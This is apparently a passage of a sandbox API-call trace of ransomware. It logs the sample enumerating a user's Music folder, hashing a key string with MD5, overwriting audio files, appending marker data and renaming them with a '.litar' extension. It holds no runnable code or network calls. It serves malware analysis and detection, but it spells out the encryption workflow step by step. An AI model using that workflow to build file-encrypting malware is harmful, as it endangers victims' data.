lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.780] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.780] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.780] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.781] CloseHandle (hObject=0x624) returned 1 [0126.782] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.782] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.782] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\ylebE_y3_yj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\ylebe_y3_yj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\ylebE_y3_yj.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\ylebe_y3_yj.m4a.litar")) returned 1 [0126.782] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.782] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.783] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x261a4790, ftCreationTime.dwHighDateTime=0x1d4ca83, ftLastAccessTime.dwLowDateTime=0x1fc92f10, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0x1fc92f10, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x11621, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ylebE_y3_yj.m4a", cAlternateFileName="YLEBE_~1.M4A")) returned 0 [0126.783] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.783] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.783] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.783] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.783] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.783] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.783] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.784] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.784] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.785] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.785] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\") returned="FxgxMEyG6Z\\" [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.785] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.785] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0126.785] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.786] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.786] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.786] PathFindFileNameW (pszPath="") returned="" [0126.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffbba590, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0xa4144900, ftLastAccessTime.dwHighDateTime=0x1d4cfda, ftLastWriteTime.dwLowDateTime=0xa4144900, ftLastWriteTime.dwHighDateTime=0x1d4cfda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.788] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffbba590, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0xa4144900, ftLastAccessTime.dwHighDateTime=0x1d4cfda, ftLastWriteTime.dwLowDateTime=0xa4144900, ftLastWriteTime.dwHighDateTime=0x1d4cfda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.788] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb38470, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x73fca8b0, ftLastAccessTime.dwHighDateTime=0x1d4ccfc, ftLastWriteTime.dwLowDateTime=0x73fca8b0, ftLastWriteTime.dwHighDateTime=0x1d4ccfc, nFileSizeHigh=0x0, nFileSizeLow=0x18607, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NiLbAzC1YwUFTvZqU.wav", cAlternateFileName="NILBAZ~1.WAV")) returned 1 [0126.788] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\NiLbAzC1YwUFTvZqU.wav") returned=".wav" [0126.788] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\NiLbAzC1YwUFTvZqU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\nilbazc1ywuftvzqu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.789] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=99847) returned 1 [0126.789] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.791] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x185e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.791] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.792] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x18607, lpOverlapped=0x0) returned 1 [0126.793] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.793] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.793] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.793] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.794] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.794] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.794] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.794] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.794] GetLastError () returned 0x0 [0126.794] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.794] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.794] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.794] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18610) returned 0x30fa0b0 [0126.795] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.795] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x18602, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x18602, lpOverlapped=0x0) returned 1 [0126.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.795] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18607, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.795] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.796] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.796] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.796] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.796] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.796] CloseHandle (hObject=0x624) returned 1 [0126.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.797] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.797] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.797] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\NiLbAzC1YwUFTvZqU.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\nilbazc1ywuftvzqu.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\NiLbAzC1YwUFTvZqU.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\nilbazc1ywuftvzqu.wav.litar")) returned 1 [0126.798] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.798] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.799] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2bd760, ftCreationTime.dwHighDateTime=0x1d4d0f9, ftLastAccessTime.dwLowDateTime=0x64b63ad0, ftLastAccessTime.dwHighDateTime=0x1d4cb0b, ftLastWriteTime.dwLowDateTime=0x64b63ad0, ftLastWriteTime.dwHighDateTime=0x1d4cb0b, nFileSizeHigh=0x0, nFileSizeLow=0x15d7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rqr FeHB_E8CueZs9.mp3", cAlternateFileName="RQRFEH~1.MP3")) returned 1 [0126.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.799] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.799] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.799] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\rqr FeHB_E8CueZs9.mp3") returned=".mp3" [0126.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\FxgxMEyG6Z\\rqr FeHB_E8CueZs9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\fxgxmeyg6z\\rqr fehb_e8cuezs9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.799] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=89466) returned 1 [0126.799] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.801] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.801] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.802] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.802] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.802] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.802] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x15d7a, lpOverlapped=0x0) returned 1 [0126.805] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.805] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.806] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.806] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.806] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.806] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.806] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.806] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.806] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.806] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.807] GetLastError () returned 0x0 [0126.807] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.807] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15d80) returned 0x30fa0b0 [0126.807] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.807] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15d75, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15d75, lpOverlapped=0x0) returned 1 [0126.807] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.808] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15d7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.808] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.808] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.808] HeapFree (in: hHeap=0x5c0000, 